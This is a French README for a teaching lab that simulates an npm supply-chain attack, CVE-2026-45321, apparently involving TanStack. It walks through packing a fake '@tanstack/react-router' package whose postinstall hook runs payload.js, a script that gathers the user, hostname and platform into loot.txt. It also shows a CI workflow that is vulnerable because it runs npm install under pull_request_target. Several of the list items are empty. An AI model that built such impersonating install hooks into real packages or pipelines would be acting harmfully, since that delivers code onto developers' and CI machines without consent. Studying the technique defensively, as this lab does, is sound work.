
Laboratoire pédagogique simulant des attaques sur la chaîne d'approvisionnement npm, des abus CI/CD et l'exécution de code au moment de l'installation via CVE-2026-45321. Recherche défensive en sécurité pratique pour comprendre la compromission des dépendances et l'exploitation des hooks de cycle de vie.
Laboratoire pédagogique pour comprendre les attaques sur la chaîne d'approvisionnement npm, l'abus des CI/CD et l'exécution de code au moment de l'installation
Ce projet est créé uniquement pour :
N'utilisez pas ce projet pour :
Ce laboratoire simule les concepts fondamentaux de l'incident :
La simulation est réalisée localement et en toute sécurité, sans :
lab/
├── fake-repo/ # Simulation du dépôt cible
├── attacker-package/ # Simulation du paquet malveillant
└── victim-project/ # Simulation de la victime
Paquet Attaquant
↓
npm install
↓
Le script postinstall s'exécute
↓
payload.js est exécuté automatiquement
↓
La victime subit une exécution au moment de l'installation
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Résultat :
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
Si la simulation réussit, le message suivant apparaîtra :
=== MALICIOUS PAYLOAD EXECUTED ===
et le fichier :
loot.txt
sera créé automatiquement.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Ce projet peut également être utilisé pour comprendre :
Exemple de workflow :
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Simulation en Laboratoire | Monde Réel |
|---|---|
| attacker-package | paquet TanStack compromis |
| payload.js | installeur malveillant |
Ce laboratoire a été créé pour sensibiliser à :
| postinstall | abus de hook de cycle de vie |
| victim-project | développeur/CI victime |
| fake-repo | pipeline GitHub Actions |